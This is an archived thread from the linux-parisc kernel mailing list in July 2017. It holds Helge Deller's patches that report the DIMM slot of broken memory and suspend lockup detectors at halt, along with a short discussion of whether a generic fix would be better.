Approved: news@gmane.org
Message-ID: <20170725172623.GA11117@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1501003593 3724 195.159.176.226 (25 Jul 2017 17:26:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 25 Jul 2017 17:26:33 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 25 19:26:28 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1da3bG-0005lr-Vx
	for glpp-linux-parisc@m.gmane.org; Tue, 25 Jul 2017 19:26:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751471AbdGYR0d (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 25 Jul 2017 13:26:33 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:64858 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751328AbdGYR0c (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 25 Jul 2017 13:26:32 -0400
Original-Received: from p100.box ([193.159.17.88]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LjIBr-1e9eTG3UHH-00dSbV; Tue, 25
 Jul 2017 19:26:25 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:9VW7LWGRE8TqF2SF9ATcnGNEl6daKm1eqdtozQ/6/AxPupqmeQq
 wFWmawrA7uslTMn9Z7OYjdoy3/qbIDdGtWGchgFVw2iNHiRp10+0cMnAKNXhemZF2gFI0xS
 3Qb9nSTgMI4deRKy0D8ba3K7Fnl/UTDy1QLwJdT9K/d7AaBMPzzZ+E1a1dkYZgnp7QOgUH4
 +6zjY5GAF+31e6a1pX3Wg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:hO7yt1RaHko=:c9vE2f78ZwYmRWF9R19osB
 +GaJ5aA6kBzjPhEBiWDrVHRBEKj12HUAEY48fQlK4QSrwLTJQv8G4UWTFupICCJvjog9U7Y0u
 z36kGZSQTSwNZ9Lt7K4nvwYbV/so1mr0qNhYv1jl+PZ2EaAOvvSwpkJh4blWVE+bGSv5uBwuh
 bLLJGIkJ0VlbOEiEAphadm83oEd965SJvLDYK2K7lP0a5dJsKcvw6DvkRWckqkj/CHXqXeFwS
 akydFppIKd3MAj9OjRQhMjKMqIAzieKlwj9UCW57F5Y7oLuVOt/bBfoqFxz+2VHn+GFAM9cS2
 TKKtq8TZjcIEt0ouKy7lWtfCH4o7uyvNny8ypFKhCodYc5WEcjVxvf9LjOS9P5Z+qzHh2SrIE
 uxScFulOyaVmahOpIJH9mfncFRqo1k9+O2Swml/5FvrIFdJ47KH7jIEsneD/hcKAFNG9OnzXB
 4FLchqlAm9jDSw5SVITDDL0Fqob5fis9vVetUp0FePeApti5KuIawyaW4oxrJlWXa3t9HR5Kl
 37pWrL9FYsFSJo46eEU4mB/fblUHzudvHPl6iWu0mmPw5fdxr/Mr5h+j+UN8HsDFgxQaAAZ/n
 pZnhDTxhJ80+ZjMfOM+0YZBftVxKJZLkw2jYbLf7b4fObK0YJA6J+wzWRfOK4rWX9+5dIWH5Z
 kNGHKej5oeUBEdRiHZCsViBBMOLPWHhF0Q7EyUgRI5WISq5v1A3kUSLQNxPEbplZ3OQmXbDNN
 AtTxeMyMmVO/SURoxBI4AxRiKNPmcFvV6s1ZY5FxNkeCL06YsJfw1shYLboxfIjVonXOKR+D 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27583
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27583>

Add a firmware wrapper function, which asks PDC firmware for the DIMM slot of a
physical address. This is needed to show users which DIMM module needs
replacement in case a broken DIMM was encountered.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/pdcpat.h b/arch/parisc/include/asm/pdcpat.h
index 32e105f..e3c0586 100644
--- a/arch/parisc/include/asm/pdcpat.h
+++ b/arch/parisc/include/asm/pdcpat.h
@@ -150,7 +150,7 @@
 #define PDC_PAT_MEM_SETGM		9L /* Set Good Memory value        */
 #define PDC_PAT_MEM_ADD_PAGE		10L /* ADDs a page to the cell      */
 #define PDC_PAT_MEM_ADDRESS		11L /* Get Physical Location From   */
-                                    		 /* Memory Address               */
+					    /* Memory Address               */
 #define PDC_PAT_MEM_GET_TXT_SIZE   	12L /* Get Formatted Text Size   */
 #define PDC_PAT_MEM_GET_PD_TXT     	13L /* Get PD Formatted Text     */
 #define PDC_PAT_MEM_GET_CELL_TXT   	14L /* Get Cell Formatted Text   */
@@ -228,6 +228,17 @@ struct pdc_pat_mem_read_pd_retinfo { /* PDC_PAT_MEM/PDC_PAT_MEM_PD_READ */
 	unsigned long pdt_entries;
 };
 
+struct pdc_pat_mem_phys_mem_location { /* PDC_PAT_MEM/PDC_PAT_MEM_ADDRESS */
+	u64 cabinet:8;
+	u64 ign1:8;
+	u64 ign2:8;
+	u64 cell_slot:8;
+	u64 ign3:8;
+	u64 dimm_slot:8; /* DIMM slot, e.g. 0x1A, 0x2B, show user hex value! */
+	u64 ign4:8;
+	u64 source:4; /* for mem: always 0x07 */
+	u64 source_detail:4; /* for mem: always 0x04 (SIMM or DIMM) */
+};
 
 struct pdc_pat_pd_addr_map_entry {
 	unsigned char entry_type;       /* 1 = Memory Descriptor Entry Type */
@@ -319,6 +330,9 @@ extern int pdc_pat_mem_read_cell_pdt(struct pdc_pat_mem_read_pd_retinfo *pret,
 extern int pdc_pat_mem_read_pd_pdt(struct pdc_pat_mem_read_pd_retinfo *pret,
 		unsigned long *pdt_entries_ptr, unsigned long count,
 		unsigned long offset);
+extern int pdc_pat_mem_get_dimm_phys_location(
+                struct pdc_pat_mem_phys_mem_location *pret,
+                unsigned long phys_addr);
 
 #endif /* __ASSEMBLY__ */
 
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 526ed90..f622a31 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -1498,6 +1498,31 @@ int pdc_pat_mem_read_pd_pdt(struct pdc_pat_mem_read_pd_retinfo *pret,
 
 	return retval;
 }
+
+/**
+ * pdc_pat_mem_get_dimm_phys_location - Get physical DIMM slot via PAT firmware
+ * @pret: ptr to hold returned information
+ * @phys_addr: physical address to examine
+ *
+ */
+int pdc_pat_mem_get_dimm_phys_location(
+		struct pdc_pat_mem_phys_mem_location *pret,
+		unsigned long phys_addr)
+{
+	int retval;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pdc_lock, flags);
+	retval = mem_pdc_call(PDC_PAT_MEM, PDC_PAT_MEM_ADDRESS,
+		__pa(&pdc_result), phys_addr);
+
+	if (retval == PDC_OK)
+		memcpy(pret, &pdc_result, sizeof(*pret));
+
+	spin_unlock_irqrestore(&pdc_lock, flags);
+
+	return retval;
+}
 #endif /* CONFIG_64BIT */
 
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Show DIMM slot number which holds broken memory
 module
Date: Tue, 25 Jul 2017 20:12:25 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <20170725181225.GA22332@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1501006359 4972 195.159.176.226 (25 Jul 2017 18:12:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 25 Jul 2017 18:12:39 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 25 20:12:35 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1da4Jq-0000g9-Rv
	for glpp-linux-parisc@m.gmane.org; Tue, 25 Jul 2017 20:12:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751571AbdGYSMg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 25 Jul 2017 14:12:36 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:57391 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751491AbdGYSMd (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 25 Jul 2017 14:12:33 -0400
Original-Received: from p100.box ([193.159.17.88]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MMCFR-1dWVYF3yPt-007yw1; Tue, 25
 Jul 2017 20:12:27 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:6KgYWt4jzZNl72Jy4bj8kYgHzRv8SU6U7jt/mI3BfznCeZiPQYV
 xeVDZON0fpcp8ig8R9zKJBjYH8+ImBEsaAj2DyT6dCiRM7NFpf/iSKpin06BKprGDbUZUO6
 FINA1HDhMnbTf7GrQB4eNactRmxCnanwI/vnkElNwebXRSViZ06BI+fXeNhPEnZRVE5HvVu
 au89jWSv8tfW7zeR6XIIg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:aYmRa4aiGh8=:pL9n5mTvJoAjdm/I2JiQCv
 2NxJmtIVdQXU5b5wU9Kl7RFxEUWiRiTzmA3muTGFT6wfOxa1LNipPMfThfXgH5aX8++0RN6mS
 q83O0SzEbmfI4/tyt0TL1tVWgCgdym9fzDfnsI4TqOU4w1hRW3PpJlFQuuTxy/lcaCRneUBz0
 oiT4AMDPtHBYVQo6Y1kY7IgZHkRi8jhT4pIP6OnqKomKfwl0jec+6LS5X526sgsU35zK/ZSrz
 /BMPu5KEDkLg7zgKw+gXFv2yGq27mmQ+42/wVW3XVRlcCGeK2LKceNfexpNk2PC+d6A30ERky
 zC4cngotX6cDUUSzHt4EVaJR+HzfI9jopQ64UaV5638byog5sh1hYKlDnyMDToxx82D6OaPD3
 EmUQ1R8/dFVn5nWPrmgPnVg1MkfRjcYXRKD1Dt4Ok6t6PzZZkCbE1Tx3DaVFvOVkgjnyJwauE
 +K+HpzXa4nsoSYTVlqFxF1k57UPw+CJ0yvFpijAhwr3nqxTGtKx4COqQA0bjRmRrhnQX5ILPX
 /KvhYSjxXDAphKCZswMnHkCq3D6AVu/6qzuXgYsSL6Q0gEYD1Bs5AybK13DTjHFBwzZAWnxpD
 XlGb/VQTe/0g5pjngZ5j2u97viaFpYzKc3SXjqnrc2uLEOBj+qNwUtyq+3sWqpq8EI0T80e7G
 L8v5oWcs7gvsFAvLgWHlMRzt97H+GgNUSKoqVpqMXFrmbC7VVCaYRedl5BviL9S4YZmEZzyzN
 C/v0FPN4sbf2B1K4KDZz5xoc+tzNtTYJzB2qXo67zd8EPct5U60FZaZO5YOSb9e+UodewusU 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27584
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27584>

The Page Deallocation Table (PDT) holds the physical addresses of all broken
memory addresses. With the physical address we now are able to show which DIMM
slot (e.g. 1a, 3c) actually holds the broken memory module so that users are
able to replace it.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/pdt.c b/arch/parisc/kernel/pdt.c
index 040d49b..fab374c 100644
--- a/arch/parisc/kernel/pdt.c
+++ b/arch/parisc/kernel/pdt.c
@@ -133,11 +133,18 @@ void __init pdc_pdt_init(void)
 	}
 
 	for (i = 0; i < pdt_status.pdt_entries; i++) {
-		if (i < 20)
-			pr_warn("PDT: BAD PAGE #%d at 0x%08lx (error_type = %lu)\n",
-				i,
-				pdt_entry[i] & PAGE_MASK,
-				pdt_entry[i] & 1);
+		struct pdc_pat_mem_phys_mem_location loc;
+
+		/* get DIMM slot number */
+		loc.dimm_slot = 0xff;
+		pdc_pat_mem_get_dimm_phys_location(&loc, pdt_entry[i]);
+
+		pr_warn("PDT: BAD PAGE #%d at 0x%08lx, "
+			"DIMM slot %02x (error_type = %lu)\n",
+			i,
+			pdt_entry[i] & PAGE_MASK,
+			loc.dimm_slot,
+			pdt_entry[i] & 1);
 
 		/* mark memory page bad */
 		memblock_reserve(pdt_entry[i] & PAGE_MASK, PAGE_SIZE);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Suspend lockup detectors before system halt
Date: Tue, 25 Jul 2017 21:41:41 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20170725194141.GA14760@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1501011720 16205 195.159.176.226 (25 Jul 2017 19:42:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 25 Jul 2017 19:42:00 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 25 21:41:53 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1da5iD-0002ri-9r
	for glpp-linux-parisc@m.gmane.org; Tue, 25 Jul 2017 21:41:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752829AbdGYTlu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 25 Jul 2017 15:41:50 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:63918 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751354AbdGYTlt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 25 Jul 2017 15:41:49 -0400
Original-Received: from p100.box ([193.159.17.88]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M1VlJ-1dtXPK1cHR-00tR1u; Tue, 25
 Jul 2017 21:41:43 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:tVkBUl5J0By9ICXJqeXEh6AFYiWDYU/w27oUiwIlobF3XJOLz7b
 N93I+vSG8N7tgDe3hJZVwy3RNil036H1TfopdLEYjrQiilQwP/fxniLDcev7ROytm65klVY
 Lv2YddYfDHhLC2tvh0mzgGmdCfkEBIPwgWafEoS/l6zXBCCXv/bQ4QBvHClS4WyZWXvCUtT
 a73BkL2YXgSknKHR1pmiA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:EbM8D82GK9E=:NmaXx06Td6aN2jeRkYAE7N
 ZBTiIYVsNTa+p0IxK+7KUz5G0iibWMZzux56fZ3JoLkUS5k23gb0MenKJW822WitlI2C1KKL6
 6aVGUtD0rIhZYAHee6SfCmP9QbhE1cgxrrDUjw/x6GKtv8ru+V6TCsop31Xi9IedC36c4ykZS
 37GMibGcvr0JL48IzyiljOYGZYKCR2NClSSJrjYJqWeI2/AtViz8cftvt2yByhlpGHFsHptYx
 6qlH5T4xoqmvQxmYBNCOwl6Ewz4QvJBBecXgnWk/EKLWp34d1eie5uYe3oNWQDaKxFB0BAQRN
 N+7uy/c/aLv8Qjay7K+JzbeTqgp7uDyQGG+ApcQM7YFrUjVytvx2uZ+OntrwwaTIEAE5lP/jf
 v+zaN/ZZYwEn7wTBiy1DDYq6sPTt33b2lcwKYOrgGhjw1/B9QEPM+dqzIcHkXvTnJkzpUC2Nv
 yvLm55QDgzJLeTD7dQsiXII3MmSGVPxWmiVopQirRCJnCw5mtiGn5Kk5TZhWoIGEF6MvM0vHn
 xT5gJmhA+H4gQ3jxHzwKR3bFSPPT+Rz6mM6JGNHU1U2OsjZOIKiEY9BY6wLj1ygAhmVKi5s7+
 FJ6X2OFYRC98SPO/aE9NopUc5Ktpv8YqPIBCfNkjcKKs3EV7ohMQzGg2OBpo/Wax4Wo8aQeJv
 /nbmffIPh8UVDqdCmebHuaw94Qxe7Lb/KxL2FMNmN5E3HSdQD7RQ7lQBoC6LU5Iq6i+dCcNEC
 QvByJsvHOl68noPqF5mTHU+KE/DmDJg21zXkCpTeOIBQmUs+BXp/wAKEKhPk8ESg11sa5s4a 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27585
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27585>

Some machines can't power off the machine, so disable the lockup detectors to
avoid this watchdog BUG to show up every few seconds:
watchdog: BUG: soft lockup - CPU#0 stuck for 22s! [systemd-shutdow:1]

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: stable@vger.kernel.org # 4.9+

diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index b64d7d2..a45a67d 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -53,6 +53,7 @@
 #include <linux/uaccess.h>
 #include <linux/rcupdate.h>
 #include <linux/random.h>
+#include <linux/nmi.h>
 
 #include <asm/io.h>
 #include <asm/asm-offsets.h>
@@ -145,6 +146,7 @@ void machine_power_off(void)
 
 	/* prevent soft lockup/stalled CPU messages for endless loop. */
 	rcu_sysrq_start();
+	lockup_detector_suspend();
 	for (;;);
 }
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Suspend lockup detectors before system halt
Date: Tue, 25 Jul 2017 21:47:38 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <5403864.sYzayCyLUt@daneel.sf-tec.de>
References: <20170725194141.GA14760@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart3544663.FQYSIWSql0"; micalg="pgp-"; protocol="application/pgp-signature"
X-Trace: blaine.gmane.org 1501012083 20285 195.159.176.226 (25 Jul 2017 19:48:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 25 Jul 2017 19:48:03 +0000 (UTC)
User-Agent: KMail/4.14.10 (Linux/4.12.3-2.g880dbd7-default; KDE/4.14.25; x86_64; ; )
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
        John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 25 21:47:58 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1da5oC-0004NH-Gu
	for glpp-linux-parisc@m.gmane.org; Tue, 25 Jul 2017 21:47:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750964AbdGYTsB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 25 Jul 2017 15:48:01 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:50037 "EHLO mail.sf-mail.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753259AbdGYTrr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 25 Jul 2017 15:47:47 -0400
Original-Received: (qmail 22094 invoked from network); 25 Jul 2017 19:47:45 -0000
Original-Received: from p200300c083e7ba13e6b318fffea08d27.dip0.t-ipconnect.de ([2003:c0:83e7:ba13:e6b3:18ff:fea0:8d27]:42258 HELO daneel.sf-tec.de) (auth=eike@sf-mail.de)
        by mail.sf-mail.de (Qsmtpd 0.34dev) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
        for <linux-parisc@vger.kernel.org>; Tue, 25 Jul 2017 21:47:45 +0200
In-Reply-To: <20170725194141.GA14760@p100.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27586
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27586>

--nextPart3544663.FQYSIWSql0
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Helge Deller wrote:
> Some machines can't power off the machine, so disable the lockup detectors
> to avoid this watchdog BUG to show up every few seconds:
> watchdog: BUG: soft lockup - CPU#0 stuck for 22s! [systemd-shutdow:1]

I don't think HPPA is the only architecture that has this problem, so isn't 
there a generic solution? Or: is it time to add one?

Eike
--nextPart3544663.FQYSIWSql0
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iEYEABECAAYFAll3oF4ACgkQXKSJPmm5/E7mPQCdEiBd2O9OyLz9QPp11FtTsvgI
c34An0By/3QLP6x3IGKQZ40Cj0YTZVNw
=Idl3
-----END PGP SIGNATURE-----

--nextPart3544663.FQYSIWSql0--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Suspend lockup detectors before system halt
Date: Tue, 25 Jul 2017 21:55:58 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <d015022e-2ecd-889f-7466-348fa2c230a6@gmx.de>
References: <20170725194141.GA14760@p100.box>
 <5403864.sYzayCyLUt@daneel.sf-tec.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1501012600 21454 195.159.176.226 (25 Jul 2017 19:56:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 25 Jul 2017 19:56:40 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
        John David Anglin <dave.anglin@bell.net>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>,
        linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 25 21:56:36 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1da5wV-0004rh-Px
	for glpp-linux-parisc@m.gmane.org; Tue, 25 Jul 2017 21:56:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751980AbdGYT4h (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 25 Jul 2017 15:56:37 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:51710 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751859AbdGYT4f (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 25 Jul 2017 15:56:35 -0400
Original-Received: from [192.168.20.60] ([193.159.17.88]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MdFwl-1dHjpz0oEN-00IQkW; Tue, 25
 Jul 2017 21:56:00 +0200
In-Reply-To: <5403864.sYzayCyLUt@daneel.sf-tec.de>
X-Provags-ID: V03:K0:Q3+LBpwUv3D3/x8ndqA38BpvQJmRNE9t2gztXA/1VYVUlgIQxbc
 1hfb8Zs03o1aJStLFeIqpODrtU3qdHFdqTZWv+WTymoEpXSlnSEW4OrwX8Los/RzeDTF8VH
 PFCHhqVj7HFlnDm5N5ROzv54gtRB6J05hVsSF95YCvAsk2vHkO1ItPoE62fIDG/beXvAHSQ
 KQTGqksjbr3vW4EeMJAIA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:o3gec/wR8R0=:KBuEW/UaI21P23sUEEBUNp
 5+6YYaVPUYURJcK78TQc002NUENZKTU2+eAhmujl4EeHLpIi22y6jofo2CJ2Q7BEMYiOEv1rm
 DKLMJLrYxUGZ2zACKpyQTg57QICqlHp8BFgFGeKOwRQPgFKyxPz/XqrM6gobdWL6/vj7/lA1B
 zrFVpfJ9fqxGloUtuzvDyffD1VEI4RJNYYW7gLj+4uoYYIViZ8VYaXDINp7kCoVgT1gpjqMI9
 fqGFyigjtuY7+JgwWxiyp7PYUpBPZVqKTIaA7o8EtKQSfTrcqVyM5l9fv1ZPj6tFwXLtB8cC3
 ZcskecCLLGfL6gCQEjVIeR+Clu3d5dkhhxb/9ddmwKLad8sd1/gkAy2ChngkBexCs7kZljpdd
 1mcBwi/ScRQ1LiTcYfgmg2vz87DKWsF1iylW3eD1xKKbDiN/5t1n0iq1KU7TV+U9EGUDc9xlm
 lyYJMxX9+xJNXkuxzhDQHMCAmtHpQNa94USc+ofUok0hGWIPokRgzdf+o2PyVSUduk8IdYXdD
 HGdUaQuEa8tPViDaIljb4msKd7zX/YuiQx8Q2iRQX+HPBzUbuo2rDUSBLU1KgH75lJk7CkhS7
 dcpxtpxsE3kHv8+18XEycubhsrGTJpUbS6rvM1y4Ph0eq+yFXbYy8PiFHhVbuvzbP5stSkjU2
 TP7R47OXzpI85xBUae87cl85z0aiit+K8eNI6LC7a68ZttnSOf2z+Kmm6R7F8oUApQ206CeC2
 Z6EmHaIzPJAho2BLXItpfPjkDG+j+qs40UgtAHmiPpNPfTijKgdx3hvxcRV5Vj50ZVX+IqVz 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27587
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27587>

On 25.07.2017 21:47, Rolf Eike Beer wrote:
> Helge Deller wrote:
>> Some machines can't power off the machine, so disable the lockup detectors
>> to avoid this watchdog BUG to show up every few seconds:
>> watchdog: BUG: soft lockup - CPU#0 stuck for 22s! [systemd-shutdow:1]
> 
> I don't think HPPA is the only architecture that has this problem,

Maybe.
I haven't heard of others yet, probably because most other architectures
do power off themselves, so they won't see this problem.

> so isn't there a generic solution? Or: is it time to add one?

Sure, you are welcome to test, post and discuss patches upstream if you like.
It's not a very critical issue, so I can wait with pushing my patch.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Suspend lockup detectors before system halt
